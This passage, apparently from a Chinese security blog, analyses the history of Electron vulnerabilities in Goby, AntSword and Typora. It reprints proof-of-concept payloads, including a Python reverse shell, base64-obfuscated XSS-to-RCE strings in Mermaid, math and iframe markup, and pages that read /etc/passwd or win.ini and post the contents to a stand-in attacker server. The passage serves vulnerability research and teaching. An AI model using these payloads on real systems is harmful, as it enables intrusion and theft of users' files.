"/path/to/file2.css": {
algorithm: "SHA-256",
hash: "def456...",
},
},
};
// 调用 resedit 函数
resedit(exeMetadata);
// now.ts
// 定义 FileRecord 类型
type FileRecord = {
offset: string;
size: number;
executable?: boolean;
integrity: {
hash: string;
algorithm: 'SHA-256';
blocks: string[];
blockSize: number;
};
}
// 定义 ExeMetadata 类型
type ExeMetadata = {
asarIntegrity?: Record<string, Pick<FileRecord['integrity'], 'algorithm' | 'hash'>>;
}
// 定义 resedit 函数
function resedit(options: ExeMetadata) {
if (options.asarIntegrity) {
const integrityList = Object.keys(options.asarIntegrity).map((file) => ({
file,
alg: options.asarIntegrity![file].algorithm,
value: options.asarIntegrity![file].hash,
}));
console.log(JSON.stringify(integrityList))
console.log(Buffer.from(JSON.stringify(integrityList), 'utf-8'));
}
}
// 创建一个符合 ExeMetadata 类型的对象
const exeMetadata: ExeMetadata = {
asarIntegrity: {
"/path/to/file1.js": {
algorithm: "SHA-256",
hash: "abc123...",
},
"/path/to/file2.css": {
algorithm: "SHA-256",
hash: "def456...",
},
},
};
// 调用 resedit 函数
resedit(exeMetadata);
两种方式得到的 bin
确实不同,在这之后就是输出,所以可能导致泄漏的也就是 bin
中的内容了,猜测可能是由于 ArrayBuffer
这种类型导致的
对于 TypeScript
了解的不是很多,对于这种项目该如何调试也确实不是很懂,目前还没有相关从业者进行分析,我们就先分析到这里,如果有一天详细掌握了相关知识再完整分析一遍
这就是截至 2024-04-07
Electron
全部有CVE编号的历史漏洞了,实际上的漏洞远不止这些,可以查看 Electron
版本发布说明
https://releases.electronjs.org/releases/stable
从漏洞发展来看,最开始大家热衷于挖掘可以直接导致 RCE
的漏洞,主要是主进程中 nodeIntegration
对渲染进程的授权不当(包括各种绕过)、主进程本身加载模块产生的各种问题等;
后来直接 RCE
变得困难,大家开始将目标转向预加载脚本 (Preload
) ,对应的特性就是 contextIsolation
,通过导航等各种方法绕过原本的上下文隔离,获取到修改 Javascript
函数原型的能力,进而通过 IPC
获取敏感信息甚至 RCE
;
最后由于 Electron
的安全措施以及使用 Electron
的开发者安全编码规范做得更好了,大家开始将目标转向了偏客户端的漏洞,包括 ASAR
完整性,客户端加载 Nodejs
代码等
但大家仍需要注意隐藏在 CVE
之外的一些内容 —— 供应链漏洞。Chromium
的漏洞 Electron
修复的同时基本不会产生新的 CVE
编号,但是看版本发布说明,其实在此过程中修复了非常多的供应链漏洞,当然可能就是升级一下 Chromium
的事,但对于使用 Electron
开发者以及使用其开发的程序的使用者来说,保持更新是非常重要的
这个部分我们将讲述一些使用 Electron
开发的程序的漏洞历史,通过这些历史,大家或许可以从中了解 Electron
对于安全编码的要求以及在实际开发中容易出现的问题
这部分我们会使用 asar
工具解压应用程序打包的 .asar
文件包,具体安装及使用命令如下
npm install -g @electron/asar
asar extract app.asar ./
https://gobysec.net/
Goby
是我比较喜欢的 Electron
开发的应用了,也是我决定学习并尝试使用 Electron
的原因
golang 写 gui 有什么包介绍谢谢? - 赵武的回答 - 知乎 https://www.zhihu.com/question/268536384/answer/1215311575
这是 2020
年的回答,大家回看一下,2020
年及2021
年是 Electron
漏洞频发的时间段,而 Goby
的这次漏洞首次被公开发布于 2021年8月13日
,应该是一个叫赛博回忆录
的公众号发出来的,没有CVE
编号,后来好像出了点波折,不过互联网时代,发出来的内容都会被记录,
原作者补档 https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098656&idx=1&sn=3179fc5de75e6acac637044d99526d8c&chksm=803c66a9b74befbf39a619ebe1c3ef2d26acfbd8c7c6513a9f308e91899d27fcc498fbda5ba1&mpshare=1&scene=23&srcid=1112qq6daexdHodrjL1Kbmas&sharer_sharetime=1636711031175&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
历史记录 https://telegra.ph/%E9%97%B2%E6%9D%A5%E6%97%A0%E4%BA%8B%E5%8F%8D%E5%88%B6GOBY-08-13
这里我们不讨论直接发布是否合理,我们只聚焦于技术细节
文中的存在漏洞的 Goby
版本是 1.8.281
可以看到,这是一个 XSS
漏洞,猜测漏洞产生的原因是 Goby
收集的目标的 Banner
信息部分未经有效处理,直接以 html
代码的形式显示在了页面中,由于 Electron
使用 Chromium
作为渲染,因此在桌面程序中会出现 XSS
的问题
这还没完,后续还有 XSS
到 RCE
,这里克服了一些安全检测上的困难以后,通过远程加载 JavaScript
代码达到 RCE
的最终效果
(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
})();
当然后续还有很多师傅在此基础之上做了一些锦上添花的工作,例如直接反连到 CobaltStrike
等
上面的简述里可以看出三个问题
Nodejs API
的能力JavaScript
官网并没有直接提供 1.8.281
版本,应该是一个在线更新的小版本
我们推测 1.8.281
版本的 id
为 40或41
很可惜,并不能通过 id
直接下载,那我们就找一下在这之前的那个版本 1.8.279
,使用 MacOS
版本
这个文件是 Electron
的 ASAR
文件
ASAR 表示 Atom Shell Archive Format。 一个 asar 档案就是一个简单的
tar
文件 - 比如将那些有关联的文件放至一个单独的文件格式中。 Electron 能够任意读取其中的文件并且不需要解压整个文件。ASAR格式是为了在Windows系统读取大量的小文件时 (比如像从
node_modules
加载应用的JavaScript依赖关系树) 提高性能。https://www.electronjs.org/zh/docs/latest/glossary#asar
我们使用 asar
工具将其解压
asar extract app.asar ./
最好在原本的文件夹里执行,不然可能会报错缺失部分文件,接下来就可以拷贝到其他地方了
先看 package.json
{
"name": "Goby",
"version": "1.8.279",
"gobycmd_version": "v1.32.303_beta",
"versionType": "Beta",
"author": "Goby",
"release": "1",
"description": "Goby",
"license": "Goby",
"main": "./dist/electron/main.js",
"dependencies": {
"@antv/g6": "^3.8.3",
"adm-zip": "^0.4.16",
"axios": "^0.18.0",
"callsite": "^1.0.0",
"clipboard": "^2.0.6",
"d3": "^3.1.6",
"echarts": "^4.9.0",
"electron-sudo": "^4.0.12",
"element-ui": "^2.13.2",
"encoding": "^0.1.12",
"generic-pool": "^3.7.1",
"iconv-lite": "^0.4.24",
"marked": "^1.2.0",
"menu": "^0.2.5",
"menubar": "^5.1.0",
"minimist": "^1.2.0",
"node-schedule": "^1.2.0",
"os": "^0.1.1",
"request": "^2.88.2",
"simditor": "2.3.6",
"sudo-prompt": "^9.0.0",
"vue": "^2.5.16",
"vue-codemirror": "^4.0.6",
"vue-electron": "^1.0.6",
"vue-i18n": "^8.10.0",
"vue-markdown": "^2.2.4",
"vue-router": "^3.0.1",
"vuex": "^3.0.1",
"xlsx": "^0.15.1"
}
}
这里可以看到一些模块,但是看不到 electron
的版本,如果我们想知道版本的话,该怎么办呢?
有部分网友给出了意见,主进程设置 nodeIntegration
,之后在主进程里打开 Developer Tools
,如果 JavaScript
没有混淆,并且 ASAR
完整性没有校验,或许可以,但是 Goby
显然不是这样的选手, Goby
的主进程代码进行了混淆
看起来并不难以解混淆
但这不是最优解,相信此时看过上一篇文章的朋友们已经想到解决办法了
远程调试的利用 https://mp.weixin.qq.com/s/C2frOpRWwaF_IBcEg-6YIQ
没错,远程调试不就解决了嘛
./Goby --inspect="0.0.0.0:6666" --watch
输入以下命令
process.versions.electron
这里我们可以看出, Electron
版本为 3.1.13
,我们可以看下这个版本的发布时间
这是一个 2019-07-31
发布的版本,是 3.x
这个版本的最后一个版本
这个操作就可以给想要挖掘 Electron App
漏洞的小伙伴提个醒,直接获取版本,就可能发现小惊喜
但我估计不会有多少人看到这里了
获取了版本之后,我们可以去看一下重大变更,在这个版本中是否存在一些安全策略默认值的变更
https://www.electronjs.org/zh/docs/latest/breaking-changes
https://www.electronjs.org/zh/docs/latest/breaking-changes#%E9%87%8D%E5%A4%A7%E7%9A%84api%E6%9B%B4%E6%96%B0-30
可以看到,在 Electron 5.0
的时候,才将 nodeIntegration
的值默认设置为 false
,也就是说在此之前,默认即不安全
所以通过 webPreferences
的设置,我们可以确定渲染进程是否具备调用 Nodejs API
的能力
(c = new i.BrowserWindow({
width: 1152,
height: 700,
title: "goby",
icon: __static + "/img/64.png",
backgroundColor: "#FFFFFF",
autoHideMenuBar: !1,
useContentSize: !0,
webPreferences: {
webSecurity: !1
}
})).loadURL(a)
可以看到 webPreferences
仅设置了 webSecurity
,这个 webSecurity
是干什么的呢?
这个选项是开启同源策略的,但是设置的值为 !1
所以这里其实是关闭了同源策略,所以渲染进程具备执行 Nodejs
能力,同时具备远程跨域加载 JavaScript/NodeJs
代码,这就给攻击者和开发者同时开了小绿灯
Goby
将前端代码都放在了一个 .js
文件中,并进行了混淆
可能不是很容易找到具体的 XSS
点,但是我们可以通过查看是否存在 HTML
代码拼接的问题进行粗略地查看
这里只是找一处,不见得就真的存在 XSS
,只是存在这种 HTML
代码拼接,插入到网页中,可能造成 XSS
因此这里出现了三个问题都找到了答案
HTML
导致Nodejs API
的能力 —— Electron
默认即不安全导致JavaScript
—— 主动关闭 webSecurity
导致剩下的分析部分不会像 Goby
这么细节了,只分析产生漏洞的原因
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
https://github.com/AntSwordProject/antSword
蚁剑漏洞分析文章
https://github.com/AntSwordProject/antSword/issues/147
https://github.com/AntSwordProject/antSword/issues/151
https://github.com/AntSwordProject/antSword/issues/256
https://github.com/AntSword-Store/AS_Redis/issues/1
https://xz.aliyun.com/t/8167?time__1311=n4%2BxuDgDBDyGKAKq0KDsD7feKxYqC4GIYP%2BEox&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F
https://mp.weixin.qq.com/s/yjuG6DLT_bSRnpggPj21Xw
https://www.uedbox.com/post/54188/
https://cloud.tencent.com/developer/article/1986525
蚁剑不止一个 XSS
漏洞,但是似乎每一个 XSS
漏洞都可以执行 Nodejs
代码
查看 Github
上最新版本的蚁剑代码
我们可以发现,主进程在初始化窗口的时候其实是开启了 nodeIntegration
,这也就意味着如果蚁剑出现了 XSS
漏洞,渲染进程是有能力直接访问 Nodejs API
的,也就是 RCE
开启 Nodejs
支持可能是功能实现需要吧,但是这非常危险,开发者要极力避免出现 XSS
、引入 iframe
等
https://typora.io/
Typora
是一款非常优秀的 Markdown
WYSIWYG
编辑器,也就是所谓的所见即所得编辑器,它的历史漏洞绝大多数为 XSS
漏洞,关键是似乎可以执行任意代码
其实编辑器,尤其是支持 Markdown
的编辑器是 Electron XSS
漏洞的重灾区,曾经一个演讲上,一位外国的师傅声称在几乎所有 Markdown
编辑器中找到 XSS
,这其实不难理解,因为 Markdown
本身是支持 HTML
的,所以想要处理好 XSS
真的是巨困难,很多编辑器类的程序都使用了 DOMPurify
进行过滤,将无害的 HTML
代码允许显示在页面上
因此,这类编辑器类程序要非常非常注意 XSS
,如果用了 DOMPurify
记得关注两点
DOMPurify.sanitize()
进行处理,DOMPurify
的版本是否为最新版,之前出现过非最新版导致的漏洞其他过滤程序也是一个道理
部分漏洞分析文章如下
https://zhuanlan.zhihu.com/p/51768716
https://github.com/typora/typora-issues/issues/2124
https://github.com/typora/typora-issues/issues/2289
https://starlabs.sg/advisories/23/23-2317/
https://github.com/typora/typora-issues/issues/3124
https://hitcon.org/2023/CMT/slide/What%20You%20See%20IS%20NOT%20What%20You%20Get_%20Pwning%20Electron-based%20Markdown%20Note-taking%20Apps.pdf
MacOS
上最新版本的 Typora
不是 Electron
写的,至少最新版不是,既然这么多漏洞都可以代码执行,是不是最新版依旧是 nodeIntegration
被设置了 true
同样的方式解包 app.asar
却发现和之前不太一样
解包后还是一个二进制程序,看来没有使用默认的打包发布方法
使用远程调试的方法会跳出一个弹窗错误,说不允许调试,但调试功能还是开了
看起来应该是调试只提供了 Nodejs
环境,没有给与程序相关的对象
那我们只能看这些漏洞相关的描述来分析了
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12137
http://packetstormsecurity.com/files/153082/Typora-0.9.9.24.6-Directory-Traversal.html
https://github.com/typora/typora-issues/issues/2505
仅 macOS 平台
Typora <= 0.9.9.24.6
这是一个目录遍历导致的代码执行, Typora
允许 file:///
和 ../
等字符目录遍历执行其他程序, PoC
如下
[Hello World](file:///../../../../etc/passwd)
[Hello World](file:///../../../../something.app)
这是一个相对典型的文件读取漏洞,很多的 Electron
程序都存在,这还只是利用 file
协议,很多应用程序都会自定义一些协议,例如 myapp://
,这些自定义协议可能造成文件读取或者命令执行
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12172
https://github.com/typora/typora-issues/issues/2166
Typora <= 0.9.9.21.1 (1913)
AREA
元素的 href
属性如果设置为 file:\\\
或 file://C
会导致任意代码执行,下面是 PoC
MacOS
<!DOCTYPE html>
<html>
<body>
<p>
Click me!
</p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
<area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\Applications\Calculator.app">
</map>
</body>
</html>
Windows
<!DOCTYPE html>
<html>
<body>
<p>
Click me!
</p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
<area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file://C|Windows/System32/calc.exe">
</map>
</body>
</html>
Linux
<!DOCTYPE html>
<html>
<body>
<p>
Click me!
</p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
<area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\">
</map>
</body>
</html>
这是 Typora
在元素属性上过滤的不充分导致的问题
https://github.com/cure53/DOMPurify/commit/4e8af7b2c4a159b683d317e02c5cbddb86dc4a0e
https://github.com/typora/typora-issues/issues/3124
Typora <= 0.9.9.31.2 on macOS
Typora <= 0.9.81 on Linux
这是个 XSS To RCE
漏洞,是由于 mermaid
绘图语法未经过有效过滤导致的,但更直接的原因是供应链问题,Typora
未使用最新版本的 DOMPurify
PoC
```mermaid
graph TD
z --> q{<svg></p><style><g title=<svg>
"</style><img src onerror=eval(atob('dHJ5e3ZhciByPXJlcW5vZGUoJ2NoaWxkX3Byb2Nlc3MnKTtyLmV4ZWNGaWxlKCcvdXNyL2Jpbi9nbm9tZS1jYWxjdWxhdG9yJyl8fHIuZXhlY0ZpbGUoJ2NhbGMuZXhlJyl9Y2F0Y2h7d2luZG93LmJyaWRnZS5jYWxsSGFuZGxlcignd2luZG93Lm9wZW4nLCAnZmlsZTovLy9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3InKX07'))>">}```
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6803
https://github.com/typora/typora-issues/issues/2124
Typora <= 0.9.9.20.3
Typora
左边栏过滤不严格,导致 XSS To RCE
PoC
# 1
# \<script src=https://hacker_s_url/xss.js\>\</script\>
xss.js
//xss.js 's content
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function (a, b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key + '=' + env[key]);
proc.spawn({
file: 'cmd.exe',
args: ['/k netplwiz'],
cwd: null,
windowsVerbatimArguments: false,
detached: false,
envPairs: env_,
stdio: [{
type: 'ignore'
}, {
type: 'ignore'
}, {
type: 'ignore'
}]
});
其实到这里就没啥可说的了,就是到处 XSS
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7295
https://github.com/typora/typora-issues/issues/2129
Typora <= 0.9.63
这也是一个 XSS To RCE
漏洞,出问题的点在数学公式处
PoC
$$
</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>
$$
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7296
https://github.com/typora/typora-issues/issues/2131
Typora <= 0.9.64
与 CVE-2019-7295
类似,也是在数学公式上出了问题,新版本(v0.9.64
),仅修复了在块中渲染数学公式时的漏洞。然而,它也有这个问题时,呈现内联
新的 PoC
$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18221
https://github.com/typora/typora-issues/issues/2204
Typora <= 0.9.65
攻击者通过在数学公式的块渲染期间插入命令可实现RCE
XSS PoC
<svg>
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
RCE PoC
<svg>
<iframe srcdoc="<iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))>"></iframe>
说实话,我没理解这与数学公式有什么关系,更清晰的描述应该是 iframe
的 srcdoc
属性过滤不严格,难道是因为要插入数学公式才允许的 iframe
标签吗?
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18336
https://github.com/typora/typora-issues/issues/2232
Typora <= 0.9.65
在导出 PDF
的地方存在 XSS
漏洞
PoC
<script>x=new XMLHttpRequest;x.onload=function(){document.write('\<font style="opacity:.01"\>'+this.responseText+'\<\/font\>')};x.open("GET","file:///C:/Windows/system32/inetsrv/MetaBase.xml");x.send();</script>
这个可能大家看起来有点眼熟,和之前我们分析的 electron-pdf
漏洞几乎一样,不知道是不是因为使用存在漏洞的组件导致的,也不好确定,因为 typora
并不开源,作者也不会贴上 commit
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18737
https://github.com/typora/typora-issues/issues/2289
Typora <= 0.9.67
还是 mermaid
绘图语法没有过滤好,导致的 XSS To RCE
XSS PoC
```mermaid
graph LR
id1["<iframe src=javascript:alert('xss')></iframe>"]
```
RCE PoC
```mermaid
graph LR
id1["<iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>"]
```
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18748
https://github.com/typora/typora-issues/issues/2226
Typora <= 0.9.65
攻击者通过数学公式块中的数学公式配置错误,通过数学公式语法执行任意代码。这是一个与CVE-2020-18221不同的漏洞
PoC
$$
\style{fill: black;}{
\href{javascript:eval(`cp=reqnode("child_process");
cp.exec("calc");`)}{
\begin{matrix}
1 & x & x^2 \\
1 & y & y^2 \\
\end{matrix}
}
}
$$
根据描述,这个漏洞需要点击触发
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-21058
https://github.com/typora/typora-issues/issues/2959
Typora <= 0.9.79
又是 mermaid
语法导致的 XSS To RCE
PoC
```mermaid
graph TD
B --> C{<iframe srcdoc=<script>
alert(top.location.href);
</script>></iframe>}
```
RCE PoC
```mermaid
graph TD
B --> C{<iframe srcdoc=<script>
var Process = top.process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function (a, b) {};
var env = top.process.env;
var env_ = [];
for (var key in env) env_.push(key + '=' + env[key]);
proc.spawn({
    file: 'cmd.exe',
    args: ['/k netplwiz'],
    cwd: null,
    windowsVerbatimArguments: false,
    detached: false,
    envPairs: env_,
    stdio: [{
        type: 'ignore'
    }, {
        type: 'ignore'
    }, {
        type: 'ignore'
    }]
});
</script>></iframe>}
```
这个应该是长亭的师傅发现的,因为下面有
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40011
https://gist.github.com/wangking1/61bdd1967367301a950ffbb3d10386f3
Typora <= 1.38
这是一个导出漏洞,但是漏洞提交者写的比较模糊,描述的是在导出 PDF
或 image
的时候可以触发
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43668
Typora < 1.4.4
这应该是一个日本的安全研究员报告的,写的也是很模糊,没有很好地中和 JavaScript
,应该是一个 XSS
漏洞
但是并没有找到相关细节,甚至在官方历史发布版本里都没有描述
https://typora.io/releases/all
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1003
https://github.com/typora/typora-issues/issues/5623
仅 Windows 平台
Typora <= 1.5.5
正常 .js
文件默认关联的打开程序可能是浏览器或者编辑器等,但是如果系统关联的打开程序是 Windows Script Host
,那么打开 .js
文件就会导致命令执行
poc.html
<!-- auto download !-->
<html>
<script>
var blob = new Blob(['var WshShell = new ActiveXObject("WScript.Shell");var ret = WshShell.run("calc");if (ret == 0)WScript.Echo("You were hacked.");WScript.Quit();'],{type:'application/js'});
var a = document.createElement('a');
a.href = window.URL.createObjectURL(blob);
a.download = 'poc.js';
a.click();
</script>
</html><!-- click to download !-->
<a href="http://127.0.0.1:8000/poc.js" download="poc.js">CLICK~~</a>
poc.js
var WshShell = new ActiveXObject("WScript.Shell");
var ret = WshShell.run("calc");
if (ret == 0)
WScript.Echo("You were hacked.")
WScript.Quit();
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2316
https://starlabs.sg/advisories/23/23-2316/
仅 Windows、Linux 平台
Typora < 1.6.7
这个漏洞大家可以关注一下,这就是自定义协议常常导致的问题,上面的文章链接中有非常详细的说明,感谢作者
简单来说,当攻击者将链接设置为 typora://app/xxxx
时, Typora
会从 xxxx
为根目录进行查找文件,如果程序请求敏感文件会造成信息泄漏
PoC
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Typora 1.5.12 Local File Disclosure Proof-of-Concept</title>
</head>
<body>
<pre id="log" style="background: #eee; width: 100%;"></pre>
<script>
const log = t => {
document.getElementById("log").textContent += t + '\r\n';
fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
}
log('location.origin: ' + location.origin)
log('navigator.platform: ' + navigator.platform)
log(' ')
if(navigator.platform === 'Win32'){
log('Content of your C:\\Windows\\win.ini:')
fetch('typora://app/C:/windows/win.ini').then(r=>r.text()).then(r=>{log(r)})
} else {
log('Content of your /etc/passwd:')
fetch('typora://app/etc/passwd').then(r=>r.text()).then(r=>{log(r)})
}
</script>
</body>
</html>
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2317
https://starlabs.sg/advisories/23/23-2317/
仅 Windows、Linux 平台
Typora < 1.6.7
Typora
的 updater/update.html
中基于DOM
的 XSS
允许一个精心制作的 markdown
文件通过在标签中加载 typora://app/typemark/updater/update.html
在 Typora
主窗口的上下文的<embed>
标签中 运行任意 JavaScript
代码
PoC
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>
解码后是
reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
打开 gnome
的计算器
再次推荐一下,他们的文章写得很详细,包括攻击面都考虑得很好
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2971
https://starlabs.sg/advisories/23/23-2971/
仅 Windows、Linux 平台
Typora < 1.7.0-dev
这是一个本地文件泄漏漏洞,错误路径处理允许一个精心制作的网页访问本地文件,并通过 typora://app/typemark/
将它们泄露到远程 Web
服务器。如果用户在 Typora
中打开恶意 markdown
文件,或从恶意网页复制文本并将其粘贴到 Typora
中,则可以利用此漏洞。
其实就是之前修复被绕过了
原本 typora://app/typemark/
是用来从 Typora
安装目录为根目录读取文件的,之前出现漏洞就是因为没有检查是否以 /typemark
为起始,直接 typora://app/C:/xxx
就可以读取文件
现在倒是检查了,但是不完全,把我们任意文件读取绕过的技巧直接就可以放到这里来
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Typora 1.6.7 Local File Disclosure Proof-of-Concept</title>
</head>
<body>
<pre id="log" style="background: #eee; width: 100%;"></pre>
<script>
const log = t => {
document.getElementById("log").textContent += t + '\r\n';
fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
}
log('location.origin: ' + location.origin)
log('navigator.platform: ' + navigator.platform)
log(' ')
if(navigator.platform === 'Win32'){
log('Content of your C:\\Windows\\win.ini:')
fetch('typora://app/typemark/%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{log(r)})
} else {
log('Content of your /etc/passwd:')
fetch('typora://app/typemark#/../../../../../../../../etc/passwd').then(r=>r.text()).then(r=>{log(r)})
}
</script>
</body>
</html>
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39703
https://c0olw.github.io/2023/07/31/Typora-XSS-Vulnerability/
Typora < 1.6.7
这是由于 embed
标签处理不当导致的 XSS
